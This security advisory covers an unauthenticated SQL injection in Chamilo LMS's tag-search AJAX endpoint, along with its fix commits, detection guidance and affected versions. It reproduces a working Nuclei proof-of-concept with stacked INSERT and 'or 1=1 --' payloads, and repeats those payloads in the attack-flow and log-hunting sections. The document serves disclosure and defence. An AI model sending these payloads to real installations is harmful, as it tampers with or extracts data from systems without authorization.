Introduction
An unauthenticated SQL injection in Chamilo LMS let remote parties reach a tag search query and manipulate its SQL IN clause without logging in. The endpoint was exploited in the wild years before the CVE identifier was assigned, with the Shadowserver Foundation first observing activity against it on 2023-10-14.
Chamilo is an open source learning management system for online education and course delivery, distributed under the GNU GPL version 3. It is maintained by the Chamilo Association, a nonprofit founded in Belgium in 2010, with development originating from BeezNest. The available sources do not quantify its deployment count, so we treat adoption as unknown and focus on the affected version range.
Technical Information
The flaw sits in ExtraField::searchOptionsFromTags() inside main/inc/lib/extra_field.lib.php. That function is invoked by main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags, which accepts an attacker supplied JSON options array over an unauthenticated POST request.
Before the fix, the function assembled a SQL IN (...) list by joining the raw $options values with the separator sequence ',' and inserting the result directly into the query. None of the values were escaped. The vulnerable pattern looked like this:
WHERE v.value IN ('".implode("','", $options)."')
Because the values are concatenated verbatim, a single quote inside any array element closes the string literal and lets the attacker append arbitrary SQL. The description for this CVE lists extraction of database information as the primary impact, and the weakness is classified as CWE-89 (improper neutralization of special elements used in an SQL command).
Attack flow
- The attacker sends an unauthenticated POST to
/main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags. - The request body includes an
optionsparameter containing a JSON style array. An element such astest') or 1=1 --breaks out of the quoted string literal and injects into theINclause. - Because the raw values flow directly into the query, the attacker can use a tautology to make the query return every row, or stack additional statements to write to the database.
Proof of Concept
A public, verifiable PoC exists as ProjectDiscovery's Nuclei template http/vulnerabilities/other/chamilo-lms-sqli.yaml, referenced by both the NVD record and the VulnCheck advisory. The template, authored by undefl0w, runs an unauthenticated write-then-read test against the vulnerable endpoint.
Request 1 injects a stacked query payload that writes a random marker into several tables. Request 2 uses a tautology to return rows, and the matcher confirms injection only if the planted marker appears in the second response:
http: - raw: - | POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded type=image&field_id=image&tag=image&from=image&search=image&options=["test'); INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16, 16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES (16, 16,'{{randstr}}'); INSERT INTO extra_field_options(option_value) VALUES ('{{randstr}}'); INSERT INTO tag (id, tag, field_id,count) VALUES(16, '{{randstr}}', 16,0) ON DUPLICATE KEY UPDATE tag='{{randstr}}', field_id=16, count=0; -- "] - | POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded type=image&field_id=image&tag=image&from=image&search=image&options=["test') or 1=1 -- "] matchers: - type: dsl dsl: - 'contains(body_2, "{{randstr}}")'
The template also includes a simpler boolean based payload, options=["test') or 1=1 -- "], that demonstrates the injection point. Its metadata references a PacketStorm advisory ("Chamilo LMS 1.11.14 Remote Code Execution"), which indicates the SQL injection has been chained toward further impact in published research. VulnDB characterizes the public material as a detection or PoC style template rather than a standalone turnkey exploit, but the template contains working injection payloads sufficient to reproduce the vulnerability against an affected instance.
Patch Information
Chamilo fixed this bug in two commits to main/inc/lib/extra_field.lib.php, both of which ship in the Chamilo LMS 1.11.16 release. A GitHub compare shows the v1.11.16 tag is ahead of the second commit. VulnCheck's advisory calls the first commit the "Fix Commit" and the second the "Hardening Commit".
Fix 1: e8332fd9 (28 Jan 2021, "Add Database::escape_string in query #security")
The first fix escapes the joined string before it reaches the query:
$optionsTable = Database::get_main_table(TABLE_EXTRA_FIELD_OPTIONS); + $value = Database::escape_string(implode("','", $options)); ... - WHERE v.value IN ('".implode("','", $options)."') + WHERE v.value IN ('".$value."')
This blocks the injection: an attacker's quote becomes \' and cannot end the string literal. It also introduces a functional bug, because the escaping runs after the join and therefore escapes the ',' separators Chamilo added itself. A request with several options produces one long literal such as 'a\',\'b' instead of separate values. The query is safe, but searches with more than one option stop matching.
Fix 2: 23787842 (17 Aug 2021, "Extra field: Fix search options BT#18899")
The follow up commit applies the standard rule: escape each value on its own, then join them:
- $value = Database::escape_string(implode("','", $options)); + + $cleanOptions = []; + foreach ($options as $option) { + $cleanOptions[] = Database::escape_string($option); + } + $cleanOptions = array_filter($cleanOptions); + + if (empty($cleanOptions)) { + return []; + } + + $value = implode("','", $cleanOptions);
This version escapes each value separately, drops empty values with array_filter(), and returns early if nothing is left after cleaning, which avoids an empty IN ('') clause.
The patch relies on escaping rather than prepared statements with bound parameters. It works because every value sits inside a single quoted literal and passes through Database::escape_string(). If you backport to an older 1.11.x install, apply both commits. Using only the first stops the injection but leaves multi option searches broken. Using only the second will not apply cleanly, because it modifies the line the first commit added. In 1.11.16 and later the change is already included.
Detection Methods
Public detection material is limited but usable. It consists of one active scanner template, plus request patterns and database artifacts derived from that template and the vendor fix. No vendor published Sigma, YARA, Snort, or Suricata rule specific to this CVE was found during verification.
1. Active verification with the Nuclei template
The template does not carry the CVE ID. Its title is "Chamilo 1.11.14 - SQL Injection" and its tags are chamilo,sqli,vuln, so a scan filtered by CVE ID will miss it. Select it by its template ID, chamilo-lms-sqli. The check is a two step write-then-read test against the unauthenticated search_options_from_tags action. It produces few false positives because the planted marker is random, but it is intrusive: it inserts or overwrites rows in production tables, and the ON DUPLICATE KEY UPDATE clause can overwrite an existing tag row with ID 16. Run it only with authorization, preferably against a staging copy, and plan to clean up afterwards.
2. Network and web log hunting
- Look for POST requests to
/main/inc/ajax/extra_field.ajax.phpwith the query stringa=search_options_from_tags, especially from unauthenticated sessions or from IPs with no normal LMS browsing history. - Inspect the
optionsbody parameter. Normal values are simple tag strings. Attack traffic contains a quote followed by a closing parenthesis (')), SQL comment sequences (--), stacked statements (;followed byINSERT INTO), or tautologies such asor 1=1. - The public template sends filler values (
type=image&field_id=image&tag=image&from=image&search=image) next to theoptionspayload. That exact parameter set strongly suggests the template, or a copy of it, is being used.
Standard access logs usually record only the URL and query string, not POST bodies. Confirming the payload needs a WAF, a reverse proxy with body logging, or full packet / IDS inspection of the request body.
3. Database forensic artifacts
The public template writes to the database. Look for unexpected rows in tag, extra_field_rel_tag, and extra_field_values that use the hard coded field_id/item_id/tag_id value 16, and for random looking strings in extra_field_options.option_value or tag.tag. Hand written exploits that only read data will not leave these artifacts, so a clean database does not rule out compromise.
4. Code and version based exposure checks
The affected range is Chamilo LMS 1.11.10 up to but not including 1.11.16. Where the version string is unreliable, read searchOptionsFromTags() in main/inc/lib/extra_field.lib.php. If the old single line form Database::escape_string(implode("','", $options)) is still present rather than the per option loop introduced by commit 23787842, the instance lacks that hardening.
5. Threat intelligence context
VulnCheck credits the Shadowserver Foundation with the finding and states that Shadowserver first observed exploitation on 2023-10-14. Because this bug was exploited years before the CVE ID was assigned, review historical web and WAF logs for the request patterns above, not only traffic from after publication.
Affected Systems and Versions
Chamilo LMS 1.11.10 up to but not including 1.11.16 (that is, 1.11.10 through the releases prior to 1.11.16). The fix is included in Chamilo LMS 1.11.16 and later.
References
- NVD: CVE-2021-48021
- CVE Record: CVE-2021-48021
- VulnCheck Advisory: Chamilo LMS 1.11.10 < 1.11.16 SQL Injection
- Fix Commit e8332fd9 (Add Database::escape_string in query)
- Hardening Commit 23787842 (Fix search options BT#18899)
- GitHub compare: 23787842 to v1.11.16
- ProjectDiscovery Nuclei template (chamilo-lms-sqli)
- Nuclei template raw source
- GitHub API: hardening commit metadata
- VulDB: CVE-2021-48021 vulnerability entry
- VulDB: CVE-2021-48021 in LMS
- Chamilo security issues wiki
- Chamilo.org project page
- Chamilo Security Guide



